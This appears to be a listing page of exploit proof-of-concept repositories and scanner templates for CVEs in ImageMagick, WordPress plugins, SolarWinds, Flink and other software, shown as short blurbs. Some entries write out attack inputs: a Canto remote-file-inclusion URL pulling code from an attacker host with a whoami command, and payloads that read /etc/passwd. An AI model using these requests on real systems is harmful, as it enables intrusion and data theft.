auto-cve-2022-44268.sh

auto-cve-2022-44268 CVE-2022-44268 ImageMagick 임의 파일 읽기 자동화 원본 발견: https://www.metabaseq.com/imagemagick-zero-days/ PoC 저장소: https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC 설명 ImageMagick은 "profile" 텍스트 문자열을 파일 이름 으로 해석 하고, 해당 콘텐츠를 원시 프로필로 로드 한 다음, 공격자가 리모트 파일의 콘텐츠를 포...

strelka-ui

Releasesrelease | Pull Requestspr | Issuesissues !GitHub releaseimg-version-badgerepo !Build Statusimg-actions-badgeactions-ci !Pull Requestsimg-pr-badgepr !Slackimg-slack-badgeslack !Licenseimg-license-badgelicense The Strelka Web UI is a browser and API-based file submission frontend for the...

CVE-2023-3452-PoC

CVE-2023-3452-PoC - 워드프레스 플러그인 Canto 을 작성하면 원격으로 코드를 실행할 수 있습니다. http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wpabspath=http://192.168.1.33:8080&cmd=whoami !imagehttps://assets.kitploit.com/p...

nmap-CVE-2023-23333-exploit

nmap-CVE-2023-23333-exploit Solarwinds CVE-2023-23333 취약점을 이용하여 원격 시스템에서 /etc/passwd를 덤프하는 Nmap NSE 스크립트 스크립트를 solar-CVE-2023-23333.nse라는 파일로 저장하세요. 스크립트를 실행하려면 Nmap의 --script-args 옵션을 사용하여 출력 파일 경로를 제공할 수 있습니다: nmap -p --script solar-CVE-2023-23333.nse --script-args outputfile=/path/to/output.tx...

CVE-2017-11882

CVE-2017-11882 CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 MITRE CVE-2017-11882: https://vulners.com/cve/CVE-2017-11882 연구: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about 패치 분석:...

esm.sh <= v136 - Local File Inclusion

esm.sh = 136 contains a local file inclusion caused by improper URL handling, letting attackers read arbitrary files from the host filesystem remotely, exploit requires crafted request. id: CVE-2025-59341 info: name: esm.sh = v136 - Local File Inclusion author: 0xAkoko severity: high description:...

Joomla! Component Visites 1.1 - MosConfig_absolute_path Remote File Inclusion

A PHP remote file inclusion vulnerability in core/include/myMailer.class.php in the Visites comjoomla-visites component 1.1 RC2 for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter. id: CVE-2010-2918 info: name: Joomla! Component Visit...

W&B Weave Server - Remote Arbitrary File Leak

The Weave server API allows remote users to fetch files from a specific directory, but due to a lack of input validation, it is possible to traverse and leak arbitrary files remotely. In various common scenarios, this allows a low-privileged user to assume the role of the server admin. id:...

BJ Lazy Load (Timthumb) <= 0.7.5 - Remote File Inclusion

The BJ Lazy Load plugin v0.7.5 for WordPress has a Remote File Inclusion vulnerability via TimThumb. id: CVE-2015-9415 info: name: BJ Lazy Load Timthumb = 0.7.5 - Remote File Inclusion author: s4e-io severity: high description: | The BJ Lazy Load plugin v0.7.5 for WordPress has a Remote File...

WordPress Canto Plugin <= 3.0.4 - File Inclusion

Canto plugin for WordPress up to version 3.0.4 contains a remote file inclusion caused by the 'wpabspath' parameter, letting unauthenticated attackers include and execute arbitrary remote code if allowurlinclude is enabled, exploit requires allowurlinclude to be enabled. id: CVE-2023-3452 info:...

Netmask NPM Package - Server-Side Request Forgery

Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the...

74CMS - Remote File Inclusion

PHP remote file inclusion in the assignresumetpl method in Application/Common/Controller/BaseController.class.php in 74CMS before 6.0.48 allows remote code execution. id: CVE-2020-29279 info: name: 74CMS - Remote File Inclusion author: DhiyaneshDK severity: critical description: | PHP remote file...

Dify v1.6.0 - Server-Side Request Forgery

Dify v1.6.0 contains a server side request forgery caused by improper validation in controllers.console.remotefiles.RemoteFileUploadApi, letting attackers make arbitrary requests from the server, exploit requires network access. id: CVE-2025-56520 info: name: Dify v1.6.0 - Server-Side Request...

White Star Software ProTop - Directory Traversal

A directory traversal vulnerability was discovered in White Star Software Protop version 4.4.2-2024-11-27, specifically in the /pt3upd/ endpoint. An unauthenticated attacker can remotely read arbitrary files on the underlying OS using encoded traversal sequences. id: CVE-2025-44177 info: name:...

Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter

Dolibarr ERP/CRM versions 23.0.4 through 24.0.0 contain an authorization bypass vulnerability in document.php and viewimage.php. The public share-link feature forces NOLOGIN when hashp is present, but the value 'shared' skips token resolution while the override still fires for any non-empty hashp...

CVE-2019-9978

CVE-2019-9978 CVE-2019-9978 - Social WarFare プラグイン system'cat /etc/passwd' payload.txt というファイル名で保存し、サーバーにアップロードします。URI は https://yoursite.com/payload.txt のようになります。最後に、--target と --payload-uri オプションを指定します: $ python cve-2019-9978.py --target http://vulntarget.com \ --payload-uri...

CVE-2024-24919-Sniper

CVE-2024-24919-Sniper 개요 CVE-2024-24919 Sniper는 Check Point Security Gateway 정보 노출Information Disclosure 취약점을 스캔하도록 설계된 Python 스크립트입니다. 이 스크립트는 단일 대상 및 대량 스캔을 모두 수행할 수 있으며, 멀티스레딩을 활용하여 스캔 속도를 향상시킵니다. 대상과 스캔 동작을 지정하기 위한 다양한 명령줄 옵션을 지원합니다. 기능 CVE-2024-24919 취약점 스캔 및 악용 단일 대상 및 대량 스캔 지원 향상된 성능을 위한...

CVE-2024-20405

설명 Cisco Finesse 웹 기반 관리 인터페이스의 취약점으로 인해 인증되지 않은 원격 공격자가 RFI 취약점을 악용하여 저장형 XSS 공격을 수행할 수 있습니다. 이 취약점은 영향을 받는 장치로 전송되는 특정 HTTP 요청에 대해 사용자가 제공한 입력의 유효성 검사가 충분하지 않기 때문에 발생합니다. 공격자는 사용자가 조작된 링크를 클릭하도록 유도하여 이 취약점을 악용할 수 있습니다. 성공적으로 악용될 경우 공격자는 영향을 받는 인터페이스의 컨텍스트에서 임의의 스크립트 코드를 실행하거나 영향을 받는 장치의 민감한 정보에...

CVE-2020-17518

Apache Flink 디렉터리 탐색 취약점, REST API를 통해 원격 파일 읽기/쓰기 취약점 번호: CVE-2020-17518 취약점 설명: CVE-2020-17518: REST API를 통한 원격 파일 쓰기 영향을 받는 버전: Flink 1.5.1-1.11.2 안전 버전: Flink 1.11.3 또는 Flink 1.12.0 Flink 1.5.1은 REST API를 도입했으며, 악의적으로 조작된 HTTP HEADER를 통해 임의의 파일을 파일 시스템의 임의의 위치에 복사할 수 있습니다. 사용법: 단일: python...

CVE-2009-4623

CVE-2009-4623 Advanced Comment System 1.0 리버스 셸 Advanced Comment System 1.0의 여러 PHP 원격 파일 포함 취약점으로 인해, 원격 공격자가 advancedcommentsystem/ 디렉터리 내의 1 index.php 및 2 admin.php에 대해 ACSpath 매개변수에 URL을 제공하여 임의의 PHP 코드를 실행할 수 있습니다. 참고: 이 취약점은 관리자가 install.php의 설치 지침을 따르지 않은 경우에만 발생할 수 있습니다...